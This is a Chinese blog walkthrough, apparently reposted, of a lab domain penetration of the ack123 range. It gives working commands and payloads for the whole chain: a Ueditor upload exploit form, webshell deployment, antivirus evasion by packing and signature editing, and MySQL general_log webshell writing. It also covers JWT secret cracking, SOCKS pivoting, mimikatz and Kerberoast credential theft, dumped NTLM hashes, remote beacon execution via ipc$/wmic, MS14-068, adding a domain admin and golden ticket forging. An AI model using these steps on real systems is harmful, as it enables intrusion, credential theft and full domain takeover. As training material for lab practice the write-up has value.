记一次简单的域渗透实验

admin 2021年12月20日09:44:58评论248 views字数 8143阅读27分8秒阅读模式

0x00 环境搭建

记一次简单的域渗透实验
简单介绍一下这个靶场------暗月ack123靶场,这算是一个比较新的靶场,有三层网络。本来外网本是nat加frp映射到公网的,但奈何我没有域名备案,上不了外网。只能用桥接模式,把难度降了下来。

必要的准备

第一步:因为这个靶场需要绑定域名,普通ip访问不到。
windows:C:WindowsSystem32driversetchost
linux: /etc/hosts
第二步:这里是前往data1的必经之路,没配就打不下去了。
记一次简单的域渗透实验

0x01 外网打点

在攻击之前,我们需要对目标进行收集信息,一般我都是使用masscan+nmap扫描存活主机和端口。dirsearch扫描网站目录

masscan可以快速扫描存在的端口,然后用nmap仔细扫描 

信息收集:

masscan -i eth0 172.18.10.7

nmap -sC -sV -A 172.18.10.7

dirsearch.py -u www.ackmoon.com

记一次简单的域渗透实验
根据图片,我们可以收集到有用的信息,开放了web和ftp,但是没有开放3306端口,是一个win2012的服务器,然后尝试使用ip:端口网页连接,发现了999端口是phpmyadmin,尝试了密码爆破,没有结果,寻找一下其他的入口。
使用dirsearch扫描www.ackmoon.com的域名
dirsearch.py -u www.ackmoon.com
记一次简单的域渗透实验

对200的网站尝试登录,只有http://www.ackmoon.com/admin可以利用。
记一次简单的域渗透实验

没有sql注入,先注册一个账号吧。
记一次简单的域渗透实验
登录后发现这个网站是
hdhcms,物理路径和数据库都知道了,还有个可以利用的编辑器漏洞Ueditor 1.4.3
上网搜索这个hdhcms是开源的,我们下载源码,搜索我们需要利用的文件。
记一次简单的域渗透实验

尝试一下能不能够利用。
构造payload:
www.ackmoon.com/Admin/net/controller.ashx?action=catchimage
记一次简单的域渗透实验

可以利用。上传我们的POC

<form< span=""> action="http://www.ackmoon.com/Admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">  </form<>

shell addr:<input< span=""> type="text" name="source[]" /></input<>

   <input< span=""> type="submit" value="Submit" /></input<>

使用python -m SimpleHTTPServer 8001开启临时的http。上传一句话木马http://172.18.11.204:8001/1.gif?.aspx
记一次简单的域渗透实验
得到了上传路径,我们尝试连接蚁剑。
记一次简单的域渗透实验

上线后第一步,查看自己所获取的权限whoami。一般都是web权限,那么现在要做的就是收集信息提权

目标的进程       ----tasklist(查看有无防护软件)

目标网络            ----ipconfig /all

目标内网主机          ----arp -a(下一步渗透主机)

目标补丁            ----systeminfo(漏洞利用)---->漏洞检测使用msf:getsystem、post/multi/recon/local_exploit_suggester模块;Windows-Exploit-Suggester检测。

查看自启程序          ----wmic startup get caption,command(计划任务可以使用)

查看主机开机时间--net statistics workstation(看一下主机是否长期开机)

无引号提权       ----wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |findstr /i /v "C:Windows" | findstr /i /v """

查看目录权限      icacls "c:"

记一次简单的域渗透实验
发现了下一层网段网络存活的主机
192.168.22.133、192.168.22.135

把systeninfo导入到system.txt用Windows-Exploit-Suggester检测一下可以利用的漏洞
记一次简单的域渗透实验
发现常用漏洞
ms16-075(烂土豆)、ms15-051提权的时候可以使用。看到烂土豆就查看Selmpersonate权限或者SeAssignPrimaryToken权限是否启动。
记一次简单的域渗透实验
可以使用,提权方法已经找到了,我们看看是否存在防护软件。
记一次简单的域渗透实验

发现了360全家桶和护卫神,需要做一下免杀。

免杀分享

刚开始做免杀,发现自己没有地方下手,网上搜索的大多都是代码和原理,而代码大多都是已经被加上特征值,这对于我这个刚接触免杀的小萌新极其不友好=,=
这个时候需要学习一下免杀的手段

低级:修改入口点、加壳伪装、加密,修改特征码

高级:代码混淆,远程下载代码,加花

最近还学了一个msf的python版本,现在依然能够免杀。可惜,目标环境并没有python环境。ps:如果使用visual studio进行代码加工需要注意的地方(原因是加工成exe文件,在其他主机使用会出现丢失dll)
记一次简单的域渗透实验
作为一名刚刚接触免杀的小萌新,我觉得很有必要学习一下以前的工具,我主要介绍一下我免杀时用到的方法
修改特征码和加壳,使用的也是很老的工具myccl、c32asm、upx。ps:别看工具老,很实用!!!
记一次简单的域渗透实验
定位后可以到c32asm的16进制模式定位区间:ctrl+G
记一次简单的域渗透实验
加壳就简单了,直接丢进去就完事了。做到这里360、火绒这种日常杀软都可以免杀通过,附带我的一个cs通过表示庆祝。
记一次简单的域渗透实验

回到正文

开始我们正式的提权之路。
我一开始使用msf的getsystem和post/multi/recon/local_exploit_suggester模块并没有发现可以提权的漏洞???不是有烂土豆和ms15-051吗,可能是存在360。然后又尝试了Windows-Exploit-Suggester检测到的漏洞,从github下载的也使用不了。又查看了无引号服务也没有发现可以提权的点。最后通过蚁剑上传cs码,使用resbus插件的烂土豆模块提权成功了,真是一波三折,不过还是提权了。
记一次简单的域渗透实验
记一次简单的域渗透实验

0x02 横向渗透

拿下了web1,我们需要对data1进行攻击,根据提示,它是一个站库分离的考点,那么我们先对data1的端口进行扫描
记一次简单的域渗透实验

这应该是一个mssql服务器,web1是网页,data1是数据库,实现了站库分离,也是这个靶场的考点之一。现在就是要找到登录数据库的方法。web1的数据需要存放,那么只要找到hdhcms的数据库配置就能找到data1的账号和密码。
因此就有了之前修改HdhApp.config,不然就做不下去了
记一次简单的域渗透实验

账号:sa 密码:[email protected]
因为navicat上传文件有点困难,我就借助一下大马来进行操作了/滑稽 ps:等结束后学习一下写大马的思路。说不定可以学到不一样的东西。
连接到大马,查看有无防护软件
记一次简单的域渗透实验

发现了火绒,做一下免杀,直接用cs上线。上传文件到c:userspublic。然后执行,然后systeminfo找可以利用的漏洞,这里就不放图了,和web1的操作一样,拿下data1的system权限。直接拿下data1。
记一次简单的域渗透实验

好了打到现在已经不需要web1主机了,我们给它关闭了把,主要是我的内存不够用了,我怕我做着做着就卡死了。/滑稽
我们开始打另一个存活的主机web2,因为我们访问不到192.168.22.0网段,所以我们需要开启代理模式,这里我使用的是ew。因为我没有使用frp,所以我可以直接访问到data1服务器,所以我们在data1服务器可以直接使用正向sock代理
ew_for_win.exe -s ssocksd -l 1080
记一次简单的域渗透实验
然后后在sudo vim /etc/proxychians4.conf里添加
socks5 172.18.12.235 1080就可以使用了。

准备工作做完,我们开始对web2进行信息收集,不知道为什么masscan扫描出来的端口只有80,8080。因此我们使用nmap尝试扫描最常用的一些端口80,135,445,8080,3389。记得要加上proxychians代理哦~
记一次简单的域渗透实验
好像没有什么可以利用的地方,我们先登录一下网站把。
记一次简单的域渗透实验
好像放了个海哦,给了提示使用JWT实战:axios+PHP实现登录认证,但是我们也可以使用dirsearch扫描一下该网站的目录。
记一次简单的域渗透实验
得了,这还看个鬼,看了一遍眼睛都要花了。尝试一下提示的漏洞吧。上网搜了一下jwt的漏洞利用---->
传送门
根据poc,找到token
记一次简单的域渗透实验
这里应该是爆破HMAC密钥,跟着使用hashcat。
payload:
hashcat -m 16500 jwt.txt -a 0 rockyou.txt -o s.txt ps:rockyou.txt应该是比较全的字典了,反正在wordlists上找到的。
记一次简单的域渗透实验

没想到竟然爆破出了Qweasdzxc5,而且我都不知道这个东西是什么有什么用=。=跟着教程走,发现并没有什么卵用。
做到这里已经没有什么思路了,这个JWT没怎么遇到过,所以我直接懵逼啦,只能看看wp了。

原来是Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02的问题,之前看过类似的文章,但是到实战的时候,好像就当这东西不存在了,基本没有注意到。并且这个竟然是phpmyadmin的密码,这是我万万没有想到的。还是自己接触的知识不够多。

再者还有一种方法是构造admin用户签名后的jwt。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJhdWQiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJpYXQiOjE2MzE5MjYzNzIsIm5iZiI6MTYzMTkyNjM4MiwiZXhwIjoxNjMxOTI2OTcyLCJkYXRhIjp7InVzZXJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9fQ.R8v4SX2Fcu-zZjiPw6esGskfTDbqyZ4WEmFuNWksPkg

反思:这是window系统,搭建使用apache就非常的可疑,使用的是phpstudy。但是如何知道是什么版本的呢?
我认为噢,知道它是phpstudy,可以通过bp把版本爆破出来,当然,这属于马后炮了。这也算是一个下下策吧,我也想不出有什么好办法。到后面发现,只有最新版的小皮的管理界面是带版本的。phpstudy2018并不需要。

那么登录phpmyadmin后就是套路了。

找到绝对路径

查看有没有写入权限---->没有就使用日志写入

show global variables like '%secure_file_priv%';看查有无直接写入权限,发现并没有,直接查找日志。
记一次简单的域渗透实验
show global variables like "%genera%";查看日志文件情况
记一次简单的域渗透实验

直接开启日志,因为它是phpstudy嘛,很轻松就可以构造出它的网站根目录地址

开启日志记录

set global general_log='on';


日志文件导出指定目录(一般导入网站根目录)

set global general_log_file='C:phpstudy_proWWWc0nfig.php';    #这里是window,会被过滤,需要


记录sql语句写马,演示一下,没有安全狗,直接传原马

select '';


修改回原来的路径             #这里显示不全就不改了,正常来说应该消除痕迹的

set global general_log_file='修改';


关闭记录

set global general_log=off;

用蚁剑连接,先看看权限,在看有无杀毒软件。
记一次简单的域渗透实验
发现直接是system权限,就无需再提权了,并且没有找到杀软,可以直接上传我们的cs。

这里说一下,因为内网网段不能直接访问我们,所以我们需要使用正向连接,用无状态window木马或者使用反向连接到data1主机上好处:规避防火墙
记一次简单的域渗透实验
在蚁剑执行cs木马后,在data1的会话中执行
connect 192.168.22.135 6669,等待web2主机上线。

接下来,就是信息收集了,说说我自己收集的思路吧。

ipconfig /all               ----->判断是否有主域,

nltest /domain_trusts           ----->查看是否有林域

net group "domain controllers" /domain  ----->查看主域是哪一台服务器

net time /domain            ----->快速定位域控ip,一般是dns、时间服务器:----接ping


net group "domaincontrollers" /domain   ----->查看域控制器

net user /domain                ----->查看域内的组成员

net group "domain admins" /domain   ----->查看域内的管理员

net accounts /domain            ----->获取域密码强度信息


内网主机

    net view            ----->查看共享资料

        arp -a              ----->arp路由表

         ipconfig  /displaydns      ----->dns缓存

凭据收集

    logonpasswords          ----->cs模块mimikatz获取信息

    mimikatz kerberos::list /export ----->github上的kerberos

        寻找域控管理员的账号      ----->python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql~16server-dc1.ack123.com-ACK123.COM.kirbi

记一次简单的域渗透实验
ipconfig /all 发现了域ack123.com和新的网段10.10.10.0
找出主域控。
记一次简单的域渗透实验
找存活主机
记一次简单的域渗透实验

寻找主域凭证
方法一:爆破krbtgt,导入到kali,用github的kerberoast中的tgsrepcrack.py爆破,构造:
python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql~16server-dc1.ack123.com-ACK123.COM.kirbi
记一次简单的域渗透实验
得到了主域的管理员账号administrator
P@55w0rd!有了账号和密码,我们可以使用cs的psexec或者ipc$上传payload后执行。
记一次简单的域渗透实验

方法二:找到administrator的NTML(hash)值mimikatz sekurlsa::logonpasswords
记一次简单的域渗透实验
在md5网站尝试爆破
记一次简单的域渗透实验

信息收集

:ack123.com

主域:10.10.10.135

存活主机:10.10.10.136


主域管理员账号:administrator    P@55w0rd!


凭证信息

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:b78ee36a79ed9763b66519f86825a6bd

    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

    moonsec:1001:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387

方法一:pexecs
这里需要新建一个监听器,让域内的主机可以访问到我们的受害机,这样在转发信息到我们的服务器。
记一次简单的域渗透实验

方法二:ipc$上传文件并执行

                net use 10.10.10.136ipc$ /user:administrator "P@55w0rd!"

上传cs木马: copy c:userspublicbeacon2.exe 10.10.10.136c$userspublicbeacon2.exe

执行命令:   wmic /node:10.10.10.136 /user:ack123administrator /password记一次简单的域渗透实验@55w0rd! process call create "c:userspublicbeacon2.exe"

记一次简单的域渗透实验
做到这里基本都拿下来,但是我感觉还是不够,在《内网安全攻防:渗透测试指南》这本书中还有一些没有使用出来的操作,这里也一并使用一下。毕竟不是每次都能成功爆破出主域管理员的密码,你们说对吧。

先是利用MS14-068来将用户的权限提升到域管权限

检查是否有提权漏洞,其补丁为 3011780,我们执行命令: systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在MS14-068漏洞。

MS14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址


添加一个域管用户aaa:

net user aaa Qwe123... /add /domain

net group "Domain Admins" aaa /add /domain

构造黄金票据

伪造金票的所需条件:

1、域名称

2、krbtgt的SID值

3、域的KRBTGT账号的Hash

4、伪造任意用户名域的名称我们已经知道,需要的用户名也是任意伪造一个就行,下面我们的目的就是拿到krbtgt的NTLM Hash和SID。

记一次简单的域渗透实验
记一次简单的域渗透实验

administrator  

    sid      :S-1-5-21-2015848930-1301831522-615504165

        NTLM     : bc23a1506bd3c8d3a533680c516bab27

    SHA1     : 92bba0d597b5558b58db8e7a2167c9f9e04f1413

    DPAPI    : 771a067e3346d70181772f8b634ef03e

krbtgt

    hash     :fb979da43f63a991f8f5599add59e01c

记一次简单的域渗透实验

可以看到黄金票据已经创建成功了。
使用方法:
记一次简单的域渗透实验

0x03 总结

流程

1.通过Ueditor 1.4.3漏洞获取webshell权限

2.通过cs的erebus插件的烂土豆提权至system

3.通过web1获取data1的mssql数据库账号密码,并用大马上传cs马提权。

4.通过JWT漏洞获取phpmyadmin的密码,通过phpmyadmin管理界面写webshell一句话并上传cs

5.通过爆破主域管理员账号administrator的hash密码,进行pesecs或ipc$横向获取主机

总体做下来还是十分有挑战性的,没开始做之前没想到中间的挫折会有这么多,当真正实战才发现会有许多的技巧点。边缘打点我感觉更多是靠知识的积累,内网更多是看如何快速拿下域控并且不被发现。


相关推荐: 如何挖掘Apache2中的CVE-2021-41773漏洞以保护Web服务器的安全

关于ScaRCE框架ScaRCE是一个专门针对漏洞CVE-2021-41773的漏洞挖掘框架,该工具可以帮助广大研究人员在漏洞扫描或渗透测试过程中,识别出公开站点中的CVE-2021-41773漏洞。CVE-2021-41773漏洞主要影响的是Apahce 2…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月20日09:44:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次简单的域渗透实验http://cn-sec.com/archives/686646.html

发表评论

匿名网友 填写信息